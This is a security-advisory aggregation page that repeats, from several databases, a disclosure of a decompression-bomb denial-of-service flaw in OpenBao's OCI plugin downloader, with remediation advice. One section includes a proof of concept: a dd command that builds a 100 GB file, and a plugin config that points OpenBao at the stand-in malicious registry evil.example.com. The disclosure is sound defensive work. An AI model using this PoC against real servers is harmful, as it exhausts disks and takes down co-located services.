OpenBao has Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)

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OpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, `ExtractPluginFromImage()` in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature. Version 2.5.3 contains a patch.

Source published

21 Apr 2026 00:44:53 UTC

Source modified

21 Apr 2026 19:49:18 UTC

Saved here

23 Oct 2026 15:48:27 UTC

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CVSS 3.1 · 3.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L

OpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, `ExtractPluginFromImage()` in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature. Version 2.5.3 contains a patch.

Source published

Apr 21, 2026, 12:44:53 AM (timezone not stated)

Source modified

Apr 21, 2026, 7:49:18 PM (timezone not stated)

Saved here

13 Nov 2026 20:11:09 UTC

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ENISA EUVD · source terms and attribution apply

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Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 3.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L

OpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, `ExtractPluginFromImage()` in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature. Version 2.5.3 contains a patch.

Source published

21 Apr 2026 01:16:06 UTC

Source modified

11 Nov 2026 23:10:00 UTC

Saved here

12 Nov 2026 15:18:43 UTC

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Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 3.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L

CVSS 3.1 · [email protected] · Primary · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

### Summary `ExtractPluginFromImage()` in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature. ### Details #### Root cause `helper/pluginutil/oci/downloader.go:301`: ```go if _, copyErr := io.Copy(outFile, tarReader); copyErr != nil { ``` `io.Copy()` reads until EOF with no size limit. The tar `header.Size` field is never validated before the copy, and `mutate.Extract` decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk. ### PoC 1. Set up a malicious OCI registry 2. Create a decompression bomb binary: ```bash dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binary ``` 3. Package it in a minimal OCI image 4. Push to the malicious registry 5. Configure victim OpenBao to use this registry: ```hcl plugin "secrets" "bomb" { image = "evil.example.com/plugin" version = "v1.0.0" binary_name = "openbao-plugin-secrets-bomb" sha256sum = "0000000000000000000000000000000000000000000000000000000000000000" } plugin_auto_download = true ``` 6. Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -> cause DoS ### Impact - Denial of Service: Disk exhaustion on the OpenBao server - Cascading failure: Co-located services (databases, other apps) also fail when the disk is full - Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up - Repeated exploitation: On SIGHUP or restart with plugin_auto_download = true, the bomb is re-downloaded ### Remediation 1. Validate `header.Size` against a configurable maximum before opening the output file 2. Wrap `tarReader` in `io.LimitReader(tarReader, maxSize+1)` and check bytes written after copy 3. Add a max_size configuration field to PluginConfig for operator control (default: 1 GiB)

Source published

21 Apr 2026 18:24:10 UTC

Source modified

10 Sep 2026 03:51:02 UTC

Saved here

24 Oct 2026 13:19:41 UTC

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GitHub Advisory Database · CC-BY-4.0

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Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L

Publisher rating · LOW

OpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS) in github.com/openbao/openbao

Source published

25 Jun 2026 22:34:34 UTC

Source modified

27 Jul 2026 09:11:19 UTC

Saved here

24 Oct 2026 13:19:41 UTC

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OSV · upstream source license applies

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